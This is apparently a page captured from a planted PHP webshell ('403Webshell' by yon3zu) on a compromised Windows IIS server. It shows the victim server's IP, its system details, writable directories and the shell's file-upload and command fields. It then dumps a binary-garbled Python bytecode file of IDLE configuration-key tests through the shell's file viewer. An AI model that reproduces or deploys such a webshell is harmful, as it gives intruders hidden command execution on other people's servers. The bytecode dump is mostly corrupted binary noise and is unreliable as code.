403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.109
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/idle_test/__pycache__/test_config_key.cpython-315.pyc
R
>lqj*.c��Qs]QHGs]QHGs]PHs]QHGs]QHGsG	s	]QH(Gs]QH0G
s
QQ\O2sQ	Q
\O2sQQ\O2sQ
Q\O2sQQ\O2sQQ\O2sQQ\O2s\Q6Xc\O.]Q5P!P!)z�Test config_key, coverage 98%.

Coverage is effectively 100%.  Tkinter dialog is mocked, Mac-only line
may be skipped, and dummy function in bind test should not be called.
Not tested: exit with 'self.advanced or self.keys_ok(keys) ...' False.
)�
config_key)�requires)�mock)�Tk�TclError)�Func)�	Mbox_funcc�`�\sQs]snQsQQ\O2s\Q2s	\Q2s
QsQsQs
Q	sQ
sQsQsQ
sQsQsQsUsP!)�ValidationTestz.Test validation methods: ok, keys_ok, bind_ok.c�P``�\sQs]snU1Qks\2s\2sQs	Us
U9s!)�ValidationTest.Validatorc�L:�[RU_U-U@QQ2oV0mP!)c�&�\sQs]s\2sQsP!)�:ValidationTest.Validator.__init__.<locals>.list_keys_final�)�__name__�
__module__�__qualname__�__firstlineno__r�get�__static_attributes__r��6C:\Python315\\Lib\idlelib\idle_test\test_config_key.py�list_keys_finalrs	���f�rr��super�__init__r��self�args�kwargsr�	__class__s&*, �rr�!ValidationTest.Validator.__init__s%����G��d�-�f�-�
�
�#2� r)r)rrrrrr�
get_modifiersr�	showerrorr�__classdictcell__�
__classcell__�r �
__classdict__s@@r�	Validatorrs����	3�
��
��K�	�	rr(c���[Q2[2UmUOO2Q,QQ,,oUO	UOQU2UmP!)�gui�	<Key-F12>�<Control-Key-x>�<Control-Key-X>�<<Test>>)rr�root�withdrawr(�dialog)�cls�keylists& r�
setUpClass�ValidationTest.setUpClasssM������4����������=�#4�6G�"H�I���]�]�3�8�8�Z��A��
rc�x�U;UOO2UOO2U;P!�N�r1r/�update_idletasks�destroy�r2s&r�
tearDownClass�ValidationTest.tearDownClass%�,���J����!�!�#��������Hrc�>�PUOOmP!)�)r1r#�message�rs&r�setUp�ValidationTest.setUp,s��(*������%rc�2�UOOOQ2UOO2UO	UOO
P2UO	UOOOQ2P!)� zNo key specified.)r1�
key_string�set�ok�assertEqual�resultr#rArBs&r�
test_ok_empty�ValidationTest.test_ok_empty1sc�������"�"�3�'�������������+�+�R�0�������.�.�6�6�8K�Lrc�|�UOOOQ2QUOOOmUOO
2UOUOO
Q2UOUOOOP2P!)�	<Key-F11>�F11)
r1rGrHrrrKrIrJr#rArBs&r�test_ok_good�ValidationTest.test_ok_good7sz�������"�"�;�/�16����#�#�'�'�.�������������+�+�[�9�������.�.�6�6��;rc��UOUOOQ22UOQUOOO
2P!)z<Control-ShiftzMissing the final)�assertFalser1�keys_ok�assertInr#rArBs&r�test_keys_no_ending�"ValidationTest.test_keys_no_ending>s?��������,�,�-=�>�?��
�
�)�4�;�;�+@�+@�+H�+H�Irc��QUOOOmUO	UOOQ22UO
QUOOO2P!)�Az<Key-A>zNo modifier)	r1rrrKrTrUrVr#rArBs&r�test_keys_no_modifier_bad�(ValidationTest.test_keys_no_modifier_badBsU��14����#�#�'�'�.�������,�,�Y�7�8��
�
�m�T�[�[�%:�%:�%B�%B�Crc��QUOOOmUO	UOOQ22UO
UOOOP2P!)rPrO)	r1rrrK�
assertTruerUrJr#rArBs&r�test_keys_no_modifier_ok�'ValidationTest.test_keys_no_modifier_okGsU��16����#�#�'�'�.�������+�+�K�8�9�������.�.�6�6��;rc�t�QUOOOmQ,UOOmUOUOO
Q22UOQUOOO2,UOOmP!)�a�Shiftz<a>zshift modifier)
r1rrrKr"rTrUrVr#rArBs&r�test_keys_shift_bad�"ValidationTest.test_keys_shift_badLs|��14����#�#�'�'�.�,3�9����!�!�(�������,�,�U�3�4��
�
�&����(=�(=�(E�(E�F�+-����!�!�(rc	��,QQ1Q,QQ1Q,QQ11FD�vqoUOVUQ59^tt^2V OOOmVOO
mUO
UOOU22UOQUOOO2PPP2J�	,UOO
mP!)%fhJ�9h)	�F12r+�Control�xr,�Xr-)�m�f�szalready in use)�subTestr1rrrKr"rTrUrVr#rA)r�mods�final�seqs&   r�
test_keys_dup�ValidationTest.test_keys_dupSs���"$�e�[�!9�#,�+�s�4E�!F�#,�+�s�4E�!F�!H��D��������5�5�9>���+�+�/�/�6�37���)�)�0�� � ����!4�!4�S�!9�:��
�
�.����0E�0E�0M�0M�N�	6�5�!H�,.����!�!�(�6�5�5�s�BC6	�6D
�?D
c��UOUOOQ22UOUOOO
P2P!)z<Control-Shift-Key-a>)r^r1�bind_okrJr#rArBs&r�test_bind_ok�ValidationTest.test_bind_ok^s>��������+�+�,C�D�E�������.�.�6�6��;rc��UOUOOQ22UOQUOOO
2P!)z<Control-Shift>znot accepted)rTr1rurVr#rArBs&r�test_bind_not_ok�ValidationTest.test_bind_not_okbs>��������,�,�->�?�@��
�
�n�d�k�k�&;�&;�&C�&C�Drr)rrrr�__doc__r�GetKeysFramer(�classmethodr4r<rCrLrQrWr[r_rdrrrvryrr$�r's@rr	r	s�����4� �J�+�+� ��B��B�����+�
M�<�J�D�
<�
.�	.�<�E�Err	c�L`�\sQs]gsnQs\Q2s\Q2sQsQs	Us
P!)�ToggleLevelTestz.Test toggle between Basic and Advanced frames.c��[Q2[2UmUOO2[O
UOQ,2UmP!�r*r.)rrr/r0rr|r1r;s&rr4�ToggleLevelTest.setUpClassjs<������4����������,�,�S�X�X�z�2�F��
rc�x�U;UOO2UOO2U;P!r7r8r;s&rr<�ToggleLevelTest.tearDownClassqr>rc�`�UOnU1QkoUORO2UOQROQ*2U2vq#UOV#2RO
2UORO2UOQROQ*2U2vq#UOV22ROO2UORO2UOQROQ*2U2vq#UOV#2P!)c�:�[RO22FD-vqUOQ6XcSoUOQ6XfJ+SoJ/	WW1!)z�Get the stack order of the children of the frame.

winfo_children() stores the children in stack order, so
this can be used to check whether a frame is above or
below another one.
�keyseq_basic�keyseq_advanced)�	enumerate�winfo_children�_name)�index�child�basic�advancedr1s    �r�
stackorder�5ToggleLevelTest.test_toggle_level.<locals>.stackorder{sO���!*�&�*?�*?�*A� B����;�;�.�0�!�E��;�;�"3�3�$�H�	!C�
�(�?�"r�Advanced�text�Basic)	r1rTr�rV�button_level�
assertGreater�toggle_levelr^�invoke)rr�r�r�r1s&   @r�test_toggle_level�!ToggleLevelTest.test_toggle_levelxs��������	#�	
������)��
�
�j�&�"5�"5�f�"=�>�$�,������5�+�	����������(��
�
�g�v�2�2�6�:�;�$�,������8�+�	���"�"�$�������)��
�
�j�&�"5�"5�f�"=�>�$�,������5�+rr)rrrrr{r}r4r<r�rr$r~s@rr�r�gs:����4��G��G�����#,�#,rr�c�,`�\sQs]�snQsQQ\O2s\Q2s	\Q2s
QsQs\
OO\OQ2Q	2s\
OO\OQ2Q
2sQsUsP!)�KeySelectionTestz#Test selecting key on Basic frames.c�H``�\sQs]�snU1QksQs\2sQsUs	U9s
!)�KeySelectionTest.Basicc�L:�[RU_U-U@QQ2oV0mP!)c�B�\sQs]�s\2s\2s\2sQsP!)�8KeySelectionTest.Basic.__init__.<locals>.list_keys_finalr)	rrrrrr�select_clear�yviewrrrrrr��s���f��#�v����rrrrs&*, �rr�KeySelectionTest.Basic.__init__�s'����G��d�-�f�-�
�
�$3� rc�,�,QNUmQQ-UmP!)�foo�BAZ�ZZZ)r��barr�)�	modifiers�modifier_labelrBs&r�set_modifiers_for_platform�1KeySelectionTest.Basic.set_modifiers_for_platform�s��2�D�N�#(�%�.�D�r)rr�r�)rrrrrr�rr#rr$r%r&s@@rr�r��s����	3�	1��K�	�	rr�c��[Q2[2UmUOO2UO	UOQ,2UmP!r�)rrr/r0r�r1r;s&rr4�KeySelectionTest.setUpClass�s:������4����������Y�Y�s�x�x��R�8��
rc�x�U;UOO2UOO2U;P!r7r8r;s&rr<�KeySelectionTest.tearDownClass�r>rc�<�UOO2P!r7)r1�
clear_key_seqrBs&rrC�KeySelectionTest.setUp�s�����!�!�#rc�r�UOoUOoUOoUOQ*O	2UU2Q,2UOQ*O	2UU2QQ,2UOQ*O	2UU2Q,2P!)r�r�)r1r"rJ�modifier_checkbuttonsr�)rr1�gm�eqs&   r�test_get_modifiers�#KeySelectionTest.test_get_modifiers�s�������
�
!�
!��
�
�
��	�$�$�U�+�2�2�4�
�2�4�%����$�$�U�+�2�2�4�
�2�4�%��� ��$�$�U�+�2�2�4�
�2�4�%��rr"c��UOoUOoUOOoUOoQUOm,UmUO2UU2Q2Q,UmUO2UU2Q2PUOmQQ,UmUO2UU2Q2P!)rbz<Key-a>�mymodz
<mymod-Key-a>�testz<mymod-test>)r1rrGrrJrK�return_value�build_key_string�r�mock_modifiersr1�key�stringr�s&&    r�test_build_key_string�&KeySelectionTest.test_build_key_string�s��������$�$���"�"�&�&��
�
�
�������&(��#����!�
�6�8�Y��'.�i��#����!�
�6�8�_�%������'.��&7��#����!�
�6�8�^�$rc���UOoUOoUOOoUOoQ,UmQUOmUO2UU2Q2P!)rc�{z<Shift-Key-braceleft>)r1rrGrrJr�rK�final_key_selectedr�s&&    r�test_final_key_selected�(KeySelectionTest.test_final_key_selected�s`�������$�$���"�"�&�&��
�
�
��'.�i��#�������!�!�#�
�6�8�,�-rr)rrrrr{rr|r�r}r4r<rCr�r�patch�objectr�r�rr$r~s@rr�r��s�����)� �
�'�'� ��9��9�����$�
�
�Z�Z���z�.�.��@�%�A�%�(
�Z�Z���z�.�.��@�	.�A�	.rr�c�`�\sQs]�snQs\Q2s\Q2s\OO\OQ2Q2s
QsUsP!)�CancelWindowTestz'Simulate user clicking [Cancel] button.c���[Q2[2UmUOO2[O
UOQQ,P	Q5UmP!�r*�Titler.)�_utest�rrr/r0r�
GetKeysWindowr1r;s&rr4�CancelWindowTest.setUpClass��C������4����������-�-��H�H�g�z�2�d�<��
rc��UOO2U;UOO2UOO	2U;P!r7�r1�cancelr/r9r:r;s&rr<�CancelWindowTest.tearDownClass��<���
�
�����J����!�!�#��������HrrIc��UOUOO2Q2UOOO	2UO[29^tt^2UOO2PPP2UOUOOP2UO2P!)%fhKH9h��Toplevel)	rJr1�winfo_class�
button_cancelr��assertRaisesrrK�assert_not_called�r�
mock_frame_oks&&r�test_cancel�CancelWindowTest.test_cancels���������0�0�2�J�?����!�!�(�(�*�
�
�
�x�
(�
(��K�K�#�#�%�)�������+�+�R�0��'�'�)�)�
(�s�-C�C	�C	r)rrrrr{r}r4r<rr�r�rr|r�rr$r~s@rr�r��sY����-��<��<�����
�Z�Z���z�.�.��5�*�6�*rr�c�`�\sQsQsnQs\Q2s\Q2s\OO\OQ2Q2s
QsUsP!)�OKWindowTest�
z#Simulate user clicking [OK] button.c���[Q2[2UmUOO2[O
UOQQ,P	Q5UmP!r�r�r;s&rr4�OKWindowTest.setUpClassr�rc��UOO2U;UOO2UOO	2U;P!r7r�r;s&rr<�OKWindowTest.tearDownClassr�rrIc�j�UOUOO2Q2UOOO	2UO[29^tt^2UOO2PPP2UO2P!)%fhK"9hr�)rJr1r��	button_okr�r�r�
assert_calledr�s&&r�test_ok�OKWindowTest.test_ok sp��������0�0�2�J�?������$�$�&�
�
�
�x�
(�
(��K�K�#�#�%�)��#�#�%�)�
(�s�-B"�"B2	�+B2	r)rrrrr{r}r4r<rr�r�rr|r�rr$r~s@rr�r�
sY����)��<��<�����
�Z�Z���z�.�.��5�&�6�&rr�c�L`�\sQsQsnQs\Q2s\Q2sQsQs	Us
P!)�WindowResultTest�)zTest window result get and set.c���[Q2[2UmUOO2[O
UOQQ,P	Q5UmP!r�r�r;s&rr4�WindowResultTest.setUpClass,r�rc��UOO2U;UOO2UOO	2U;P!r7r�r;s&rr<�WindowResultTest.tearDownClass4r�rc��UOoUOoPUmUUOP2UUOOP2QUmUUOQ2UUOOQ2QUOmUUOQ2UUOOQ2P!)r@r�r�)r1rJrK�frame)rr1r�s&  r�test_result�WindowResultTest.test_result<s�������
�
�
����
�
�6�=�=�"��
�6�<�<���r�"���
�
�6�=�=���
�6�<�<���u�%�#�����
�6�=�=�%� �
�6�<�<���u�%rr)rrrrr{r}r4r<r�rr$r~s@rr�r�)s8����%��<��<�����&�&rr�c�,`�\sQsQsnQsQsQsUsP!)�
HelperTest�Mz#Test module level helper functions.c�0�[OoUOoUUQ,2Q2UUQQQ,2Q2UUQQ,2Q2UUQQQ,2Q2UUQ,Q
N2Q2UUQ,2Q2UUQQ,2Q	2P!)�qzKey-qrh�AltrczKey-QzPage Upz	Key-Prior�*zKey-asterisk)rhrrc)r�
translate_keyrJ)r�trr�s&  r�test_translate_key�HelperTest.test_translate_keyPs���
�
%�
%��
�
�
��	�2�c�2�;�� �
�2�c�I�u�%�&��0�	�2�c�G�9��w�'�
�2�c�I�w�'�(�'�2�
�2�c�.�/��9�	�2�i���k�*�
�2�c�G�9��~�.rr)rrrrr{rrr$r~s@rrrMs����)�/�/rr�__main__)�	verbosity)r{�idlelibr�test.supportr�unittestr�tkinterrr�idlelib.idle_test.mock_idler�idlelib.idle_test.mock_tkr�TestCaser	r�r�r�r�r�rr�mainrrr�<module>rs�����!��� �,�/�SE�X�&�&�SE�l4,�h�'�'�4,�nO.�x�(�(�O.�d*�x�(�(�*�:&�8�$�$�&�8!&�x�(�(�!&�H/��"�"�/�,�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit